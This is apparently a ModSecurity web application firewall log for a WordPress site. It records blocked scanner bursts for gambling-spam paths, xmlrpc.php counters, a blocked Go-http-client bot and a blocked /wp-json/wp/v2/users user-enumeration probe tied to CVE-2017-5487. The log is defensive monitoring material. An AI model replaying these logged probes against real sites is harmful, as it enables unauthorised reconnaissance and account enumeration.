[Fri Mar 06 15:01:19.889489 2026] [:error] [pid 59237:tid 59253] [client 51.75.119.154:42152] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aap7v-qfMSBs0nxOTxF42QAAA4s"]
[Fri Mar 06 15:01:23.713961 2026] [:error] [pid 59198:tid 59218] [client 51.75.119.154:42162] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aap7w9FYTNmfCEavFrITYwAAA1E"]
[Fri Mar 06 15:02:18.828636 2026] [:error] [pid 59037:tid 59066] [client 51.75.119.154:36744] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aap7-vLSf47J21UqfPY1qwAAAk8"]
[Fri Mar 06 15:02:21.090343 2026] [:error] [pid 16140:tid 16147] [client 51.75.119.154:54024] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aap7_ZZVpEeGhAeSpv1IPAAAAQU"]
[Fri Mar 06 15:02:24.004145 2026] [:error] [pid 16140:tid 16163] [client 51.75.119.154:54040] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aap8AJZVpEeGhAeSpv1IZwAAARU"]
[Fri Mar 06 15:02:26.332811 2026] [:error] [pid 59237:tid 59261] [client 51.75.119.154:57186] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aap8AuqfMSBs0nxOTxF58QAAA5M"]
[Fri Mar 06 15:02:28.654559 2026] [:error] [pid 59237:tid 59265] [client 51.75.119.154:57188] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aap8BOqfMSBs0nxOTxF59wAAA5c"]
[Fri Mar 06 15:02:30.871558 2026] [:error] [pid 59237:tid 59253] [client 51.75.119.154:57196] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aap8BuqfMSBs0nxOTxF5_AAAA4s"]
[Fri Mar 06 15:02:32.912072 2026] [:error] [pid 16140:tid 16158] [client 51.75.119.154:57200] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aap8CJZVpEeGhAeSpv1IswAAARA"]
[Fri Mar 06 15:02:34.894226 2026] [:error] [pid 59237:tid 59245] [client 51.75.119.154:40246] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aap8CuqfMSBs0nxOTxF5_gAAA4M"]
[Fri Mar 06 15:02:37.102905 2026] [:error] [pid 59237:tid 59253] [client 51.75.119.154:40248] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aap8DeqfMSBs0nxOTxF6AQAAA4s"]
[Fri Mar 06 15:02:39.237652 2026] [:error] [pid 16140:tid 16146] [client 51.75.119.154:40252] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aap8D5ZVpEeGhAeSpv1I2QAAAQQ"]
[Fri Mar 06 15:02:41.243141 2026] [:error] [pid 59237:tid 59261] [client 51.75.119.154:40258] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aap8EeqfMSBs0nxOTxF6AgAAA5M"]
[Fri Mar 06 15:02:43.484681 2026] [:error] [pid 59239:tid 59271] [client 51.75.119.154:40260] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aap8E7G1EpnE909fvGdDOAAAA8I"]
[Fri Mar 06 15:02:45.683353 2026] [:error] [pid 59198:tid 59220] [client 51.75.119.154:55456] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aap8FdFYTNmfCEavFrITrQAAA1M"]
[Fri Mar 06 15:02:48.065534 2026] [:error] [pid 16140:tid 16163] [client 51.75.119.154:55472] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aap8GJZVpEeGhAeSpv1I_wAAARU"]
[Fri Mar 06 15:02:50.261916 2026] [:error] [pid 16140:tid 16153] [client 51.75.119.154:55482] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aap8GpZVpEeGhAeSpv1JHAAAAQs"]
[Fri Mar 06 15:02:52.650773 2026] [:error] [pid 59237:tid 59254] [client 51.75.119.154:55490] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aap8HOqfMSBs0nxOTxF6FwAAA4w"]
[Fri Mar 06 15:02:54.784980 2026] [:error] [pid 59198:tid 59205] [client 51.75.119.154:35356] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aap8HtFYTNmfCEavFrITsQAAA0U"]
[Fri Mar 06 15:02:56.778015 2026] [:error] [pid 59239:tid 59269] [client 51.75.119.154:35358] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aap8ILG1EpnE909fvGdDSAAAA8A"]
[Fri Mar 06 15:02:58.932474 2026] [:error] [pid 59239:tid 59270] [client 51.75.119.154:35372] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aap8IrG1EpnE909fvGdDSwAAA8E"]
[Fri Mar 06 15:03:00.944271 2026] [:error] [pid 59198:tid 59216] [client 51.75.119.154:35384] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aap8JNFYTNmfCEavFrITtgAAA08"]
[Fri Mar 06 15:03:03.268165 2026] [:error] [pid 59239:tid 59274] [client 51.75.119.154:35398] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aap8J7G1EpnE909fvGdDTwAAA8U"]
[Fri Mar 06 15:03:05.276918 2026] [:error] [pid 16140:tid 16152] [client 51.75.119.154:50022] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aap8KZZVpEeGhAeSpv1JQwAAAQo"]
[Fri Mar 06 15:03:07.273742 2026] [:error] [pid 16140:tid 16142] [client 51.75.119.154:50038] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aap8K5ZVpEeGhAeSpv1JSAAAAQA"]
[Fri Mar 06 15:03:09.371114 2026] [:error] [pid 59237:tid 59260] [client 51.75.119.154:50054] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aap8LeqfMSBs0nxOTxF6JgAAA5I"]
[Fri Mar 06 15:03:11.473598 2026] [:error] [pid 16140:tid 16164] [client 51.75.119.154:50064] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aap8L5ZVpEeGhAeSpv1JUgAAARY"]
[Fri Mar 06 15:03:14.079192 2026] [:error] [pid 16140:tid 16153] [client 51.75.119.154:50078] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aap8MpZVpEeGhAeSpv1JWAAAAQs"]
[Fri Mar 06 15:03:56.319985 2026] [:error] [pid 16140:tid 16166] [client 51.75.119.154:43230] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aap8XJZVpEeGhAeSpv1J6AAAARg"]
[Fri Mar 06 15:04:00.130749 2026] [:error] [pid 16140:tid 16155] [client 51.75.119.154:54936] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aap8YJZVpEeGhAeSpv1KAAAAAQ0"]
[Fri Mar 06 15:04:03.017993 2026] [:error] [pid 59239:tid 59293] [client 51.75.119.154:54938] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aap8Y7G1EpnE909fvGdDnAAAA9g"]
[Fri Mar 06 15:04:05.689611 2026] [:error] [pid 16140:tid 16142] [client 51.75.119.154:33244] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aap8ZZZVpEeGhAeSpv1KDgAAAQA"]
[Fri Mar 06 15:04:09.087001 2026] [:error] [pid 8656:tid 8834] [client 51.75.119.154:33246] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aap8aZPxTG9Ff1TtP6OPHwAAAJg"]
[Fri Mar 06 15:04:13.693542 2026] [:error] [pid 16140:tid 16152] [client 51.75.119.154:33252] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aap8bZZVpEeGhAeSpv1KGwAAAQo"]
[Fri Mar 06 15:04:16.985419 2026] [:error] [pid 59237:tid 59255] [client 51.75.119.154:38380] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aap8cOqfMSBs0nxOTxF6hAAAA40"]
[Fri Mar 06 15:04:19.346010 2026] [:error] [pid 59239:tid 59289] [client 51.75.119.154:38394] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aap8c7G1EpnE909fvGdDsgAAA9Q"]
[Fri Mar 06 15:04:22.768723 2026] [:error] [pid 16140:tid 16148] [client 51.75.119.154:38410] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aap8dpZVpEeGhAeSpv1KLQAAAQY"]
[Fri Mar 06 15:32:22.692190 2026] [:error] [pid 59237:tid 59257] [client 179.124.48.250:2702] [client 179.124.48.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.124.48.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaqDBuqfMSBs0nxOTxGE4QAAA48"]
[Fri Mar 06 17:23:29.187441 2026] [:error] [pid 59239:tid 59273] [client 49.204.165.171:54351] [client 49.204.165.171] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaqdEbG1EpnE909fvGdvrQAAA8Q"]
[Fri Mar 06 17:24:53.353181 2026] [:error] [pid 59239:tid 59280] [client 49.204.165.171:54151] [client 49.204.165.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.165.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaqdZbG1EpnE909fvGdwEQAAA8s"]
[Fri Mar 06 17:26:11.750905 2026] [:error] [pid 16140:tid 16161] [client 49.204.165.171:54936] [client 49.204.165.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.165.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaqds5ZVpEeGhAeSpv2XYAAAARM"]
[Fri Mar 06 17:27:27.678405 2026] [:error] [pid 59040:tid 59109] [client 49.204.165.171:55036] [client 49.204.165.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.165.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaqd_7hQWeDH4WbmEIiKaAAAAwQ"]
[Fri Mar 06 17:28:48.664345 2026] [:error] [pid 59237:tid 59242] [client 49.204.165.171:55085] [client 49.204.165.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.165.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaqeUOqfMSBs0nxOTxHH_wAAA4A"]
[Fri Mar 06 17:30:16.688722 2026] [:error] [pid 59237:tid 59249] [client 49.204.165.171:54065] [client 49.204.165.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.165.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaqeqOqfMSBs0nxOTxHIgAAAA4c"]
[Fri Mar 06 23:10:54.969367 2026] [:error] [pid 16140:tid 16155] [client 62.60.131.218:58959] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aarufpZVpEeGhAeSpv0ddwAAAQ0"]
[Sat Mar 07 07:36:02.849547 2026] [:error] [pid 52484:tid 52523] [client 51.77.218.189:43522] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aatk4vE9AnX6zUICFeQsywAAARM"]
[Sat Mar 07 07:36:04.779286 2026] [:error] [pid 52484:tid 52520] [client 51.77.218.189:53762] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aatk5PE9AnX6zUICFeQs1QAAARA"]
[Sat Mar 07 07:36:06.898775 2026] [:error] [pid 4609:tid 4636] [client 51.77.218.189:53778] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aatk5uP7JMxUbw4Fd1ZaEgAAAMg"]
[Sat Mar 07 07:36:08.981000 2026] [:error] [pid 4609:tid 4636] [client 51.77.218.189:53792] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aatk6OP7JMxUbw4Fd1ZaHAAAAMg"]
[Sat Mar 07 07:36:10.909351 2026] [:error] [pid 4609:tid 4639] [client 51.77.218.189:53804] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aatk6uP7JMxUbw4Fd1ZaJAAAAMs"]
[Sat Mar 07 07:36:27.625915 2026] [:error] [pid 4315:tid 4468] [client 51.77.218.189:35702] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aatk-9DEK9AXzxu9OShMxQAAAJM"]
[Sat Mar 07 07:36:29.594845 2026] [:error] [pid 52484:tid 52522] [client 51.77.218.189:35714] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aatk_fE9AnX6zUICFeQs8wAAARI"]
[Sat Mar 07 07:36:31.805494 2026] [:error] [pid 4307:tid 4394] [client 51.77.218.189:35720] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aatk_zeKp4wgnLc38f9ZLgAAAAw"]
[Sat Mar 07 07:36:33.996815 2026] [:error] [pid 4609:tid 4634] [client 51.77.218.189:37780] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aatlAeP7JMxUbw4Fd1ZaUgAAAMY"]
[Sat Mar 07 07:36:36.241235 2026] [:error] [pid 52484:tid 52527] [client 51.77.218.189:37788] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aatlBPE9AnX6zUICFeQtAQAAARc"]
